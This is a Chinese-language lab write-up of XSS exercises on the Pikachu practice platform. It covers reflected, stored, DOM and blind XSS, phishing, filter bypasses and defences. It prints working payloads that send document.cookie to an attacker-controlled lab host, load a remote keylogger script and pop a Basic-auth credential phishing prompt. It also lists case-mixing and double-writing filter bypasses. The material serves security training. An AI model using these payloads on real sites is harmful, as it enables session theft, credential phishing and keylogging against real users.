pikachu XSS
XSS简述
Cross-Site Scripting 跨站脚本 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
XSS的危害:
基本可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取,甚至可以结合浏览器自身的漏洞对
用户主机进行远程控制等。
1.获取cookie
2.XSS进行钓鱼
3.XSS获取键盘记录
4.XSS盲打
5.XSS的过滤和绕过
6.XSS输出在href和js中的案例分析
7.XSS常见的方法措施
XSS攻击流程:
攻击者寻找到一个有XSS漏洞的站点,向其中插入恶意的js脚本,比如document.cookie窃取用户的cookie。
攻击者可以诱导或者等待用户访问有js脚本的页面,之后js会在用户的浏览器中触发并执行,执行完后通常会返回
到攻击者的某一个接口上,比如窃取到了cookie就可以伪造用户的身份登录该站点去篡改或者获取用户的数据。
假设存在漏洞的是一个论坛,攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中
当用户访问这个页面时,都会执行这个恶意的JS代码,这个代码就会在用户的浏览器端执行
XSS漏洞常见的类型:
存储型>反射型>DOM型
0x01:反射型:
交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
0x02:存储型:
交互的数据会被存在数据库里面,永久性存储,一般出现在留言板、注册等页面。
0x03:DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,
也属于反射型。
XSS漏洞形成原因:
主要是因为程序对输入和输出的控制不够严格,导致精心构造的脚本输入后,在输到前端时被
浏览器当作有效代码解析执行从而产生危害。
测试流程:
1.找到注入点,比如查询接口、留言板等;
2.先输入一些特殊字符来测试页面是否会过滤掉特殊字符,比如 ' " <> 66666来查看返回源码,测试是否过滤了特殊字符;
3.通过开发者工具搜索前端页面定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合);
4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
反射型XSS(get):
先输入' " <> 66666 之后观察页面源代码:
ctrl+f 查找输入点:没有过滤直接输出到了前端页面的p标签中
构造payload: <script>alert("XSS")</script>
输入时发现对于输入框有最大长度限制,可以F12选择这个输入框将最大值修改
可以看到写进去的js代码被执行了,也没有进行过滤script标签。
而反射型的XSS是通过前端发送给后台 请求,后台不进行验证,响应完之后返回到前端页面
但是后台数据库是不会存储这个js代码,刷新页面之后就没了
而这里是使用的GET请求提交message参数,浏览器自动对我们的payload进行了URL编码:
http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=submit
GET型比较好利用,可以构造一个payload诱导用户去点击,从而在网站的后台执行我们的payload。
基于pikachu平台演示:
前期准备:
本人笔记本着实吃不消2个虚拟机+一堆进程,所以只用物理机和win2003的虚拟机进行演示,虚拟机扮演
攻击者+服务器,受害者为物理机
1.攻击方+服务器:IP:192.168.174.130,且有集成环境用于搭建pikachu。
2.受害者:IP:192.168.174.1,且有集成环境用于搭建pikachu。
3.VM1网卡和虚拟机适配器选项都改为DHCP自动获取IP,并互相都可ping通。
步骤:
1.根据上面我们已知:
①前端对我们输入的参数长度有限制;
②是没有过滤script标签和特殊字符的;
关于①:F12打开开发者工具,选中输入框,将maxlength的值由20改为2000 。
关于②:直接构造payload即可,这里注意受害者是物理机、IP是192.168.174.1、我们正常思路
是诱导其将我们的payload放入它的的浏览器执行。payload:
<script>document.location = 'http://192.168.174.130/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
2.修改攻击者(虚拟机)的cookie.php:我把重定向的网站换成了百度。
3.受害者执行攻击者的payload:
在物理机中打开pikachu的反射型XSS(get)模块,修改maxlength的值,输入payload
并执行,可以发现返回了百度首页。(当然也可以自己写个简单的页面用作重定向娱乐,
什么h1标签配合你号没了!的这种操作都可,手动滑稽,仅供学习参考不要真实攻击)
4.返回pikachu的xss后台查看cookie:
这里一般第一次都没有安装这个平台,需要安装,安装过程中需要修改两个inc下的php文件:
一般都是数据库密码那个地方需要修改,其他的自己根据自己的情况更改即可。
成功获取cookie!
那之后问题来了,我们有cookie怎么进行利用受害者身份进行登录呢?可以看我的相关博文!
反射型XSS(post)
攻击思路:
POST是以表单方式在请求体中提交,无法直接利用URL方式进行攻击。
可以看到URL中并没有显示提交的参数。
message参数是通过post请求体提交的,而不是用get请求。
所以payload就不能用url发送。
问题就变成了如何让用户替我们提交post请求。需要伪造一个自动提交post表单的页面,
将页面链接发送给用户诱导其触发表单替我们提交post请求。
页面代码解析:
作用:当用户访问此页面时,自动向存在xss漏洞的网站提交一个post请求。
①:当用户访问这个页面时(onload获取post表单然后.click提交)
②:action:指向存在xss漏洞的页面;input一个name为message,value为后面script代码的参数。
③:这个js代码和之前get型的是一样的,利用cookie.php获取cookie并提交到xss后台。
演示:
只要将post.html的链接发给用户让用户访问就可获取cookie。
这里和上面get型的模拟环境还是一样的。
post.html链接:http://192.168.174.130/pikachu-master/pkxss/xcookie/post.html
在用户已经登陆的情况下诱导其点击链接。
获取结果:
我上面写的重定向页面为百度,如果没有跳转到百度说明post页面是有问题的。
ps:实验时注意几个点
1.IP为192.168.174.1的物理机需要登录192.168.174.130服务器上的pikachu然后点击post页面的链接。
2.关闭物理机防火墙,否则有可能物理机和虚拟机之间ping不通。
存储型XSS
存储型和反射型XSS漏洞形成的原因一样,都是对用户控制的参数过滤和限制的不严格导致的,不同
的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也
称为“永久型”XSS。
原理:
和反射型XSS不同的是,存储型的XSS会将用户提交的参数存储在后台数据库并重新返回到前端页面
显示,所以如果用户输入的是一个恶意脚本那么也会被存放在后台数据库中,并且每次访问此页面都
会被执行。
先在留言板输入<>%&#"'6666 特殊字符+定位字符测试是否针对特殊字符有过滤。
原封不动的显示出来了,查看一下页面源码:应该是没有做任何过滤的
例如我们让它弹出当前的cookie:
输入:<script>alert(docuent.cookie)</script>
并且每次回到此页面都会进行弹窗。
比如我们给一个重定向脚本,让用户每次访问此页面都跳转到访问cookie.php
之后根据cookie.php的内容会获取用户当前的cookie并提交到XSS后台并将用户
当前的页面跳转到百度。
输入:
<script>document.location='http://192.168.174.130/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
DOM型XSS
DOM:可以理解为访问HTML的标准编程接口。js可以重构整个HTML文档,包括添加、移除
、改变或重排页面上的项目。要改变页面的某个东西,js就需要获得对HTML文档中所有元素
进行访问的入口。这个入口包括重构整个HTML文档方法的属性都是通过文档对象模型(DOM)
获得的。但是以上操作都是在前端页面完成的,没有经过后台,
漏洞产生原因:
前端的输入被DOM给获取到了,通过DOM又在前端输出了。
观察源码:这里js代码中,通过 getElementById将id=text的标签的值赋值给了str,
然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签
通过innerHTML会写到 Id 为 dom的 div 标签中,id=dom的div是它的输出
其实注入点就在于str,str是我们可以控制的变量,他被放在了a标签的href中,可以通过
构造闭合来执行我们想要执行的js代码。有点类似于SQL注入。
、
payload:这里#'用来闭合前面的' 后面输入我们想要执行的内容,把'>变为和what do you
see 一样放在前面显示的内容。
<a href='#' onclick="alert(document.cookie)">'>what do you see?</a>
#' onclick="alert(document.cookie)">
'> 已经显示出来了,之后点击这个a标签就会弹出当前的cookie
DOM型XSS-X
观察源码:
首先js代码中有一个domxss的函数,先用window.location对象的search属性获取当前
URL的查询内容,decodeURIComponet()函数对已经被split方法分割了的str的值所对
应的字符串进行URI解码,再将全局里的+替换为空格,之后把xss拼接到a标签中,最
后写到id为dom的div中。
payload和上面DOM型XSS是一样的,不再演示。
XSS钓鱼攻击
这里利用的是Basic认证做的。原理就是在XSS漏洞(存储型)页面嵌入一个恶意的请求,
当用户每次打开这个页面时都会执行我们的payload,payload会向攻击者发送一个请求,
这个请求会返回一个Basic认证的弹出框,要求受害者输入账号密码,从而获取用户的信息。
首先需要一个钓鱼的页面,也就是xfish目录下的fish.php,这里将ip修改为攻击者的ip地址:
构造一个payload插入存在XSS漏洞的页面中,尽量使其保存在后台数据库,可以保证
有人访问时就可以触发我们的payload:
<script src="http://192.168.174.130/pikachu-master/pkxss/xfish/fish.php"></script>
当用户访问有XSS漏洞的页面时,会出现下面的认证框
输入 admin 和 123456
后台查看
(出问题,后台无法获取)
跨域
当协议、主机(主域名、子域名)、端口中的任意一个不相同就不在一个域。
而不同域之间请求数据的操作,称之为跨域操作
跨域-同源策略
为了安全考虑,所有的浏览器都约定了“同源策略”。不同域之间不能是用js进行
互相操作,如果想要跨域作,需要管理员进行特殊配置。
比如通过头里面header(“Access-Control-Allow-Origin:x.com”)指定
而下面这些标签跨域或加载资源时是不受同源策略限制的。
- <script src="...">,JS加载到本地执行
- <img src="..">,图片
- <link href="..">,CSS
- <iframe src="..">,任意资源
实验
修改/pkxss/rkeypress目录下的rk.js文件,将IP改为攻击者的IP
rk.js 是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有
XSS 漏洞的页面去调用。 这个文件可以记录用户的键盘操作,然后异步发送给攻击者
但是默认情况下AJAX请求是不能跨域的,所以需要注释掉rkserver.php中的
header("Access-Control-Allow-Origin:*")
payload:<script src="http://192.168.171.130/pikachu-master/pkxss/rkeypress/rk.js"></script>
(出问题,后台无法获取)
XSS盲打
XSS盲打不是攻击类型,而是一个攻击场景
这是针对于我们输入的内容不会在前端输出,而是提交到了后台,后台管理
员可能会去看,而如果我们写入的是一段恶意脚本,那么后台管理员可能就会
遭受到我们的攻击。
例如输入:<script>alert(document.cookie)</script>
进入后台查看,账号:admin 密码:123456
已经遭受了攻击, 后面已经出现了我们当时的cookie
XSS过滤/绕过
1.前端限制绕过(比如输入字符串的最大数量等),可抓包或者修改html代码绕过
(所以限制尽量都在后台,前端主要还是进行辅助)
2.大小写,比如只是过滤了小写,我们可以用大写的SCIPRT或大小写混合SCRipt绕过
3.拼凑/双写比如直接过滤了<script>这个标签,可以直接<sc<script>ript>双写
4.使用注释符进行干扰<scri<!--test-->pt>alert(111)</sc<!--test-->ript>可以绕过后台限制。
编码
核心思路:后台过滤了特殊字符或者标签,但是该标签可以进行各种编码(比如16进制),
后台不一定会过滤该编码,从而解析为正常标签去执行。(但是需要可以被正常的解析)
实验
通过测试,这个模块只对于小写的script标签进行了过滤,所以可以使用大小些混合
或者用别的标签(比如img)进行
payload:<ScriPt>alert(document.cookie)</scRipT>
XSS之htmlspecialchars
htmlspecialchars()函数将php中的预定义字符转为了HTML实体
根据源码,发现 ' 依然可以使用 ,前后都一个 ' 用于闭合href的 ' payload:
' onclick = alert(1234)'
XSS常见防范措施
输入做过滤,输出做转义
1.过滤:根据业务场景,比如手机号就做一个格式只能输入11位数字
2.转义:所有的数据输出到前端都进行HTML实体转义等
XSS之href输出
这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理
这个函数和上面是一样的。转义单引号、双引号和左右尖括号
然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行payload
payload:javascript:alert(123465).
执行之后就会出现弹窗
如果要对href做限制的话,一般有2个思路
1.输入的时候只允许http和https协议才允许输出
2.进行HTML实体化转义,也就是htmlspecialchars函数进行处理
XSS之JS输出
这里就是会把我们输入的数据放到JS代码中,然后对这个变量进行判断再输出
这里可以构造一个闭合,先用一个 ' 和</script>闭合<script>,在输入我们想执行的
js代码。payload:
'</script><script>alert(document.cookie)</script>
因为漏洞在JS中,通过用户的输入动态生成了JS代码
JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话
在JS中不会把它解释回去,这样解决了XSS问题,但不能构成合法的JS
所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义
小知识:
1.window.location.search:获取当前页面从(?)开始的URL(查询部分)
2.replace()方法:
3.decodeURIComponet()函数:
4.URI/URL/URN
URI:Universal Resource Identifier 统一资源标志符,用来标识抽象或物理资源的一个紧凑字符串。
URL:Universal Resource Locator 统一资源定位符,一种定位资源的主要访问机制的字符串,一个标准的URL必须包括:protocol、host、port、path、parameter、anchor。
URN: Universal Resource Name 统一资源名称,通过特定命名空间中的唯一名称或ID来标识资源。
个人的身份证号就是URN,个人的家庭地址就是URL,URN可以唯一标识一个人,而URL可以告诉邮递员怎么把货送到你手里。现在HTTP规范已经不使用URL,基本都是URI了。